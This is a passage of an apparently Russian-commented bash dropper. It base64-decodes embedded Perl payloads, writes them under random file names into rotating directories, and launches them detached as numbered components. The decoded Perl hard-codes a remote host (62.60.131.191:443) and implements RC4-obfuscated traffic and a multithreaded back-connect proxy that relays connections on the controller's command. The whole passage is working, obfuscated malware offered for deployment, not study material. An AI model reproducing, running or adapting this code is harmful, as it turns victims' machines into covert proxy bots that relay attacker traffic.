b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #42 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #42 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 43 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTEnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k 